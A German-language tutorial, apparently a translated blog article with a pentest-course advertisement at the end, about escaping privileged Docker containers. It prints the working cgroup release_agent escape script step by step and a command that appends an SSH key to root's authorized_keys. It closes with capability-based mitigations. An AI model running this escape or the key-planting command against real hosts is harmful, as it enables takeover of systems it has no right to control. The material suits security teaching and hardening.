Docker-privilegierte Container sind Container, die mit einem Flag ausgeführt werden
--privileged. Im Gegensatz zu normalen Containern haben diese Container Root-Zugriff auf den Host-Computer.
Privilegierte Container werden häufig verwendet, wenn Aufgaben direkten Zugriff auf Hardware erfordern, um Aufgaben auszuführen. Mit privilegierten Docker-Containern können Angreifer jedoch das Hostsystem übernehmen. Heute werden wir sehen, wie Sie einen privilegierten Container verlassen können.
Suchen Sie nach anfälligen Containern
Wie können wir feststellen, dass wir uns in einem privilegierten Container befinden?
Woher weißt du, dass du in einem Container bist?
Cgroupssteht für Kontrollgruppen. Diese Linux-Funktion isoliert die Ressourcennutzung und wird von Docker zum Isolieren von Containern verwendet. Sie können feststellen, ob Sie sich in einem Container befinden, indem Sie die Gruppe des Init-Prozesses in einchecken /proc/1/cgroup. Wenn Sie sich nicht im Container befinden, lautet die Kontrollgruppe /. Wenn Sie sich in einem Container befinden, sehen Sie stattdessen /docker/CONTAINER_ID.
Woher wissen Sie, ob ein Container privilegiert ist?
Sobald Sie festgestellt haben, dass Sie sich in einem Container befinden, müssen Sie wissen, ob dieser privilegiert ist. Der beste Weg, dies zu tun, besteht darin, den Befehl auszuführen, der das Flag benötigt,
--privilegedund zu prüfen, ob es funktioniert.
Sie können beispielsweise versuchen,
dummymit dem Befehl eine Schnittstelle hinzuzufügen iproute2. Dieser Befehl erfordert den Zugriff, auf NET_ADMINden der Container verfügt, sofern er privilegiert ist.
$ ip link add dummy0 type dummy
Wenn der Befehl erfolgreich ist, können wir daraus schließen, dass der Container über Funktionen verfügt
NET_ADMIN. Und NET_ADMINim Gegenzug ist es Teil eines privilegierten Satzes von Funktionen, und Container, die es nicht haben, sind nicht privilegiert. Sie können den Link dummy0nach diesem Test mit dem folgenden Befehl entfernen :
ip link delete dummy0
Entkomme aus dem Container
Wie gehen Sie also außerhalb des privilegierten Containers? Das folgende Skript hilft Ihnen hier. Dieses Beispiel und der Proof-of-Concept stammen aus dem Trail of Bits- Blog . Lesen Sie den Originalartikel, um tiefer in das Konzept einzutauchen:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Dieser Proof of Concept verwendet eine Funktion
release_agentvon cgroup.
Nach Abschluss des letzten Prozesses
cgroupwird ein Befehl ausgeführt, der die abgebrochene Arbeit entfernt cgroups. Dieser Befehl wird in einer Datei angegeben release_agentund im Auftrag des rootHost-Computers ausgeführt. Standardmäßig ist die Funktion deaktiviert und der Pfad release_agentist leer.
Dieser Exploit führt Code durch eine Datei
release_agent. Wir müssen cgroupdie Datei erstellen , angeben release_agentund starten release_agentund alle Prozesse in beenden cgroup. Die erste Zeile beim Testen von Hypothesen erstellt eine neue Gruppe:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
Folgendes beinhaltet die Funktion
release_agent:
echo 1 > /tmp/cgrp/x/notify_on_release
Weiter in den nächsten Zeilen wird der Pfad zur Datei registriert
release_agent:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Dann können Sie mit dem Schreiben in die Befehlsdatei beginnen. Dieses Skript führt den Befehl aus
ps auxund speichert ihn in einer Datei /output. Sie müssen auch die Zugriffsbits für das Skript festlegen:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Starten Sie den Angriff schließlich, indem Sie einen Prozess erzeugen, der in der von uns erstellten c-Gruppe sofort beendet wird. Unser Skript
release_agentwird nach Abschluss des Vorgangs ausgeführt. Jetzt können Sie die Ausgabe ps auxauf dem Host-Computer in einer Datei lesen /output:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Mit diesem Konzept können Sie beliebige Befehle auf dem Hostsystem ausführen. Sie können ihn beispielsweise verwenden, um Ihren SSH-Schlüssel in die
authorized_keysRoot-Benutzerdatei zu schreiben :
cat id_dsa.pub >> /root/.ssh/authorized_keys
Einen Angriff verhindern
Wie kann dieser Angriff verhindert werden? Anstatt Containern vollen Zugriff auf das Hostsystem zu gewähren, sollten Sie nur die erforderlichen Berechtigungen erteilen.
Mit den Docker-Funktionen können Entwickler einem Container selektiv Berechtigungen erteilen. Es wird möglich, Berechtigungen, die normalerweise in root gepackt sind
access, in separate Komponenten aufzuteilen .
Standardmäßig übernimmt Docker alle Berechtigungen aus dem Container und verlangt, dass sie hinzugefügt werden. Sie können Berechtigungen mit den Flags
cap-dropund entfernen oder hinzufügen cap-add.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
Anstatt den Container zu geben
root access, verlassen Sie NET_BIND_SERVICEihn beispielsweise, wenn er eine Verbindung zu einem Port unter 1024 herstellen muss. Dieses Flag gibt dem Container die erforderlichen Berechtigungen:
--cap-add NET_BIND_SERVICE
Fazit
Vermeiden Sie nach Möglichkeit Docker-Container mit einem Flag
--privileged. Privilegierte Container können Angreifern die Möglichkeit geben, den Container zu verlassen und Zugriff auf das Hostsystem zu erhalten. Geben Sie den Containern stattdessen die Berechtigung einzeln mit einem Flag --cap-add.
Weiterlesen
- Linux-Kernel-Funktionen
- Docker sicher verwenden
- Best Practices für die Sicherheit beim Arbeiten mit privilegierten Containern
- Red Team Tactics: Erweiterte Überwachungstechniken in offensiven Operationen
- Pentest. Penetrationstestpraxis oder "ethisches Hacken". Neuer Kurs von OTUS
Erfahren Sie mehr über den Kurs.